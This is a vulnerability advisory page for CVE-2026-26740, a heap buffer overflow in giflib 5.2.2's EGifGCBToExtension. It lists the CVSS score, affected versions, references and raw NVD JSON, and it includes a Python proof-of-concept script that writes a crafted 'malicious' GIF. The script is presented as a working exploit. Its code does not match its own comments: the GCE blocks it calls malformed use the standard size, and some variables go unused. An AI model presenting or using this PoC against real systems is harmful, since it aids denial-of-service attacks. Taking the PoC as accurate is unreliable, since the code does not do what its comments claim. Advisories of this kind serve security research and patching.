CVE-2026-26740

Description

Buffer Overflow vulnerability in giflib v.5.2.2 allows a remote attacker to cause a denial of service via the EGifGCBToExtension overwriting an existing Graphic Control Extension block without validating its allocated size.

CVSS Details

CVSS Score

8.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:giflib_project:giflib:5.2.2:*:*:*:*:*:*:* - VULNERABLE

giflib < 5.2.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
CVE-2026-26740 PoC - giflib Buffer Overflow in EGifGCBToExtension
This PoC generates a malicious GIF file that triggers buffer overflow
"""

import struct

def create_malicious_gif():
    """
    Create a malicious GIF file that exploits CVE-2026-26740
    by crafting a GIF with malformed Graphic Control Extension blocks
    """
    
    # GIF Header
    gif_header = b'GIF89a'
    
    # Logical Screen Descriptor
    width = 100
    height = 100
    lsd = struct.pack('<HHBBB', width, height, 0xF7, 0, 0)
    
    # Global Color Table (3 colors)
    gct = b'\xFF\x00\x00\x00\xFF\x00\x00\x00\xFF'
    
    # Malformed Graphic Control Extension
    # Block size should be 4, but we craft it with abnormal data
    gce_block_size = b'\x04'  # Standard block size
    
    # Packed byte fields
    packed_byte = b'\x09'  # Disposal method, user input flag, transparency flag
    
    # Delay time (2 bytes)
    delay_time = struct.pack('<H', 0xFFFF)  # Abnormal large delay
    
    # Transparent color index
    transparent_index = b'\xFF'
    
    # Block terminator
    block_term = b'\x00'
    
    # Application Extension for Netscape (to create loop)
    netscape_ext = b'\x21\xFF\x0BNETSCAPE2.0\x03\x01\x00\x00\x00'
    
    # Image Descriptor
    img_desc = b'\x2C\x00\x00\x00\x00\x64\x00\x64\x00\x00'
    
    # Image Data (minimal LZW compressed data)
    lzw_min_code_size = b'\x08'
    # Sub-block with minimal image data
    img_data = b'\x08\x00\xF8\x3F\x00'
    
    # Trailer
    trailer = b'\x3B'
    
    # Construct the malicious GIF
    malicious_gif = (
        gif_header +
        lsd +
        gct +
        # First GCE block
        b'\x21\xF9\x04' + packed_byte + delay_time + transparent_index + block_term +
        netscape_ext +
        # Image block
        img_desc +
        lzw_min_code_size +
        img_data +
        # Additional malformed GCE to trigger overflow
        b'\x21\xF9\x04' + b'\xFF' * 4 + block_term +
        trailer
    )
    
    return malicious_gif

def main():
    """
    Generate and save the PoC GIF file
    """
    print("[*] Generating CVE-2026-26740 PoC GIF file...")
    
    gif_data = create_malicious_gif()
    
    output_file = "CVE-2026-26740_poc.gif"
    with open(output_file, 'wb') as f:
        f.write(gif_data)
    
    print(f"[+] PoC file saved as: {output_file}")
    print(f"[+] File size: {len(gif_data)} bytes")
    print("[*] This file can trigger buffer overflow in giflib EGifGCBToExtension function")

if __name__ == "__main__":
    main()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-26740
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-26740
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-26740/
[4] VulDB https://vuldb.com/cve/CVE-2026-26740
[5] https://github.com/zakkanijia/POC/blob/main/giflib/giftool/giflib_giftool_gce_len_heap_oobwrite_disclosure.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-26740", "sourceIdentifier": "[email protected]", "published": "2026-03-18T18:16:26.220", "lastModified": "2026-03-21T00:09:00.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer Overflow vulnerability in giflib v.5.2.2 allows a remote attacker to cause a denial of service via the EGifGCBToExtension overwriting an existing Graphic Control Extension block without validating its allocated size."}, {"lang": "es", "value": "Vulnerabilidad de desbordamiento de búfer en giflib v.5.2.2 permite a un atacante remoto causar una denegación de servicio a través de EGifGCBToExtension sobrescribiendo un bloque de extensión de control gráfico existente sin validar su tamaño asignado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:giflib_project:giflib:5.2.2:*:*:*:*:*:*:*", "matchCriteriaId": "CC3B1EB3-6B22-4CA4-8BBA-7AB8A754FAB2"}]}]}], "references": [{"url": "https://github.com/zakkanijia/POC/blob/main/giflib/giftool/giflib_giftool_gce_len_heap_oobwrite_disclosure.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}